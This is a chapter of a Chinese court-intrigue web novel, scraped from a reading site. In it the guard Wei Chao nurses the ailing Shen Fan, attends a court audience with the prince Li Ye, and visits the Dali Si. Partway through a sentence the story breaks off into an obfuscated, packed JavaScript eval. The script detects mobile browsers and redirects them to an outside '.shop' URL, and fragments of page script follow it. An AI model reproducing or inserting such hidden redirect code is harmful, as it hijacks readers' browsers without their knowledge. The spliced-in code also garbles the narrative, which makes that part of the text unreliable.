文趣网 > 都市小说 > 欲碾金枝 > 99. 比翼鸟其九
    京城一连下了几天雨,第二日气温骤降,魏朝到时,发现众人都穿上了厚外衣,更有甚者把手揣进袖子,脖颈微缩。

    临走前,沈梵披着刚做好的兔绒大衣要跟来,明明还在轻声咳嗽仍是倔,偏说自己休养够了不用操心。

    但魏朝知道,沈梵这一夜睡得并不好,好几次从睡梦中惊醒一脸错愕,口中念着难以辨别的话语,有时候半睡半醒,还会连他都认不出来,利齿咬住他小臂久久不放,被强硬搂在怀里安抚许久才勉强恢复神智,胡乱道着歉又沉沉闭眼。

    直觉告诉他,这不是好兆头。

    于是,在他和三七等人的几番阻拦下,沈梵终于罢休,还不忘嘱咐他去大理司一趟带消息回来。

    夜里这般折腾,魏朝没得片刻休息,此刻揉揉眉心应下,又嘱咐随从帮忙看着,别让人到处跑。

    因为他知道一旦直接说给沈梵,这个人只会信誓旦旦承诺,转头做起让人万分担心的事。

    三七四六也对视一眼,又轻叹口气摇头。

    魏朝抿紧唇,脑中又无可避免浮现出那双浅眸,正瞪大了瞧他,“你是……谁?”

    “我是关若啊,公子,别想这些了,我们睡觉——”

    魏朝深吸口气,掌心搂过他腰侧,还没说完就被咬住。

    这人真是,病的这么厉害,牙齿倒是挺锋利的。

    他暗自想着,又听见沈梵喘着粗气,借着烛火看到自己猛地伸手要推,他眼疾手快把人抱住,使了力禁锢住,另一只手轻轻抚着后背。

    “是我。”

    “一切都过去了,睡吧。”

    烛光细微,魏朝闭着眼,感受到沈梵从低吼、啃咬到舔舐、哭泣的反应,一下又一下安慰着,不断让他察觉到自己的反馈,照料得细致又耐心。

    等把人擦洗干净哄睡着,他才松懈下来,靠在床边,翻起袖口查验伤口。

    伤得不深。

    单手涂着药膏,魏朝呼口气,又忍不住好奇。

    沈梵说他做了个梦。

    什么梦能做一次就变成这样?

    显然这个问题没得到答案,等他睁开眼,药香已经扑了满屋,衣料一片湿腻。

    耳旁嗓音沉稳,他这才回过神,指腹隔着布料揉搓自己小臂,轻嘶一声。

    李烨端坐主位,向下扫视一圈,轻拍扶手,“依各位爱卿所见,该如何处置?”

    众人心照不宣,面面厮觑。

    不过须臾,有前列官员站出,手持笏板站得笔直,“李昀此人天资聪慧能文善武,未及冠便领军收复西南等地,年少立功名,可惜一朝谋反被贬庶人,功过皆有。”

    喉口滑出一声轻叹,他一拱手俯身,“臣等不才,具体如何,还要看殿下抉择。”

    李烨半天没回答,手指轻点扶手。

    这人说得没错,当年南坞连带边境暴乱,传来要篡权夺位的消息,是李昀主动请缨,摸黑突袭敌营,逼得敌王投降,回来擦汗蹭上一手泥,还冲他挑眉,说父皇对他赞不绝口赏赐不断,要自己也准备礼物。

    而那时候,也就是七年前的今天,他才过十五岁生日。

    虽然李昀时常看上去狂妄自大,但事实如此,诗书武艺,他几乎没一样不拔尖,还深谙人心,蛰伏短短几月便能获得民心……

    李烨手指猛地顿住,垂下眸,喉间滚动,好会才道:“不入皇陵,在城西找片地方,按寻常官员规格下葬。”

    说着,他抬起眼,“诸位可有异议?”

    方才那人指尖一颤,片刻俯下身来,“殿下英明,此事一传开闹得沸沸扬扬,边境百姓又有起势,此举可做安抚、拉拢人心,彰显您的仁义。”

    众人皆垂首齐呼。

    李烨一挥手,忽地站起身,双手背在背后,沉下声,“功就是功过就是过,孤作为兄长,只是尽到自己的职责罢了,至于别的也不在乎。”

    “三司会审结束,一切都将揭晓,真相摆在面前,老百姓心里都有杆秤,知道孰是孰非,想要的我会慢慢夺来,也无需动用什么手段去争取。”

    众人又应下,一齐躬身,“是。”

    李烨站得更直,音量不大,缓缓道:“众卿可还有事要奏?”

    地方水患火灾都已禀报,目前更为重要的,自然就是还未结下的案子和东南军的事,但他这意思很容易瞧出来,多半是在等沈梵。

    前排几人目光相接,很快默契摇头。

    管事公公一扬手,金銮殿人流便散开,往外涌出。

    拇指按住刀柄,魏朝正抬腿,被李烨出声叫住。

    才到门口,檀香混着药味、花香冲入他鼻腔,莫名熟悉。

    才过半分,他便想起。

    这是沈梵身上常有的味道。

    心上还没放下,一进门行礼,李烨抬手让他起来,另一只手还在翻阅奏折,“文君兄如今怎样?”

    虽早有预料,魏朝还是眼皮一跳,立于一侧站直,“已无大碍,请殿下放心。”

    殿内只剩他们二人,微风吹进,案上纸张四飞,他蹲下去,收好拿镇纸压住,正起身与之对上视线。

    李烨瞧那些纸张一眼,又望他脸侧微眯双眼,没什么表情,但维持了很久,并且眼神聚焦,并没有分心。

    魏朝直起身,冲他礼貌颔首。

    “那就好。”

    下一秒,啪嗒一声,毛笔搁在桌上,李烨向后靠上椅背,勾唇笑道:“若不是怕沈大人瞧见问起,我早该去看他的,他都是因为我才会——”

    魏朝没动,听他兀自截断,朝另一方向抬抬下巴,“喏,这些你拿回去给他,让他好好补补身子,说朝堂上的事不用急。”

    远远瞧见满满一堆,还都是珍稀药材,魏朝无声哧笑,回头对伏案疾书的李烨再次躬身,“谢过殿下。”

    正从书房出来,迎面碰上一人,身段高挑却是孩童模样,瞧着约莫十来岁,高马尾用红布缠绕,冲他一侧身,“首领这边请。”

    一看就比宫里老奸巨猾的公公好搞定多了。

    一路引回正殿,那人正一颔首回头,被他叫住转身,眨眨眼没说话。

    “小友。”

    一手拨正腰间剑穗,魏朝轻轻挑眉,笑意吟吟,“明日可否赏面出宫一聚?”

    那人似乎没懂,很快察觉出袖口塞了什么,一拿出来微睁大眼,还没说出口被止住。

    “嘘。”

    食指抵上唇珠,他礼貌低头,轻声笑着,“关某先行告退。”

    只留这人在原地错愕,又转身,飞快回去。

    兴圣殿、太和殿、玄翎宫,巡查完毕,魏朝又来到御林院,听众人你一言我一语报着近况,等来到大理司,已经是酉时二刻。

    守卫记性不错,见他来了立马放行,还不忘随口奉承几句。

    魏朝轻笑,唇角露出一个刚好的弧度,往大堂走去。

    沈济明一抬头,“关首领?”

    魏朝应一声,歪在桌前笑得无害,“来看看你们。”

    “哇,还带了吃的!”

    吕康承惊呼一声,从随从手里接过木盒,深吸口气,“好香!”

    沈济明坐的近,瞥一眼收回视线,手上还在翻卷宗,“是少卿大人的意思?”

    “算是吧。”

    单手往后撑住桌角,魏朝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647134|206786||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼珠一转,歪头悠悠道:“但我作为大梁子民,想来探视一下秉公无私、为百姓服务的几位大人,也不足为奇,不是吗?”

    说完,他还左看看右看看,很像企图证明自己没撒谎。

    ……

    沈济明抬头,看他几眼蹙眉,接过吕康承递来的糕点轻咬一口,“这批卷宗很快便会整理完毕,各地送来的证词证人三日内便会抵达,宫里要得急,我们和御史台的人会快马加鞭完成,劳少卿大人挂念。”

    “这样啊……”

    指节轻点面颊,魏朝笑眯眼,“看来是公子和我多想了呢。”

    堂内陷入沉寂。

    好会,沈济明搁下笔,动动唇角抬眼,“也请首领带下官向少卿大人问个好,说我不日会上府拜访,叫他保重身体。”

    魏朝一颔首,暗自挑眉。

    从大理司到沈府,大概一个时辰。

    流水潺潺,偏房半掩,从缝隙能看见那中央冰盒被撤掉,换上加热装置,蒸汽喷出,室内朦胧一片。

    刷啦一声,房门大开,他迅速脱掉外衣,皮肤仍旧出了层薄汗,忙接过冷帕擦拭。

    室内温度高涨,沈梵还握住汤婆子,咽下口茶抿唇许久,“济明这样说的?”

    “嗯。”

    魏朝随意应声,举起茶碗又放下,撑着下颌瞧他,“御史台和大理司的人一同整理,速度快很正常。”

    “知道你嫌热,我早叫人买了酥山冷着,这会吃着还凉快。”

    掩面轻咳几声,沈梵挥挥手,有侍从踏入,举着托盘到面前,他单手推过,又话锋一转,“不过,我说的倒不是速度,我是担心这案子有问题。”

    这就是满月阁前些日子才上的口味。

    小勺轻舀几下,魏朝一挑眉,撑住脸颊若有所思半天,“什么问题?”

    “不知怎么,我总觉得,这件事情没有表面那么简单,背后还藏着什么,摸不到看不清,又令人琢磨不透。”

    一同端来的,还有药汤,沈梵小口饮着,轻啧一声咬紧唇侧,“可这只是我的直觉,我并没有任何证据能证明还有势力在背后操控。”

    魏朝正轻点桌面,指尖一顿。

    “未雨绸缪是件好事,但若是让人劳神费心,可就不见得了。”

    喉间滑出一声短笑,极轻,他端起尝一口,眼眸一暗幽幽道:“公子大病未愈,该好生休养才对,这些事情自有人解决。”

    “那,西丰的事呢?”

    又是一声轻咳,而后,急促起来。

    魏朝起身,坐到他旁边,一手伸到背后轻拍顺气,又给他一点一点喂水,面上自若,“公子觉得,这也是有人刻意为之?”

    小口吞咽着温水,沈梵才平复好呼吸,脸颊耳侧还是遍布绯色,蹙眉很久才憋出一句,“只是一切都太怪了,不合常理。”

    “公子若是不放心,好了再想,我陪你。”

    掌心拢住人后脑勺往自己肩侧靠,另一手探向额头测温,魏朝轻叹口气,嗓音轻柔许多,“当务之急是养好身体,明白么?”

    沈梵没出声,只是静静躺在他怀里,慢慢合上眼。

    照顾病人是件既费时间又费精力的事,于是等他回府,钟鼓长鸣,明月高悬,已经到了二更。

    钱卫歪在门前,还没见着人影便站直。

    魏朝热得厉害,几步跨进浴池,便见窗外钱卫凑过来,神秘兮兮比划半天,嗓音细若未闻。

    【西北来了密信。】

    魏朝结果,展开一看,霎那拧起眉头。

    左凌云一个前御林军首领邀戚飞槲望月阁会面?

    他要做什么?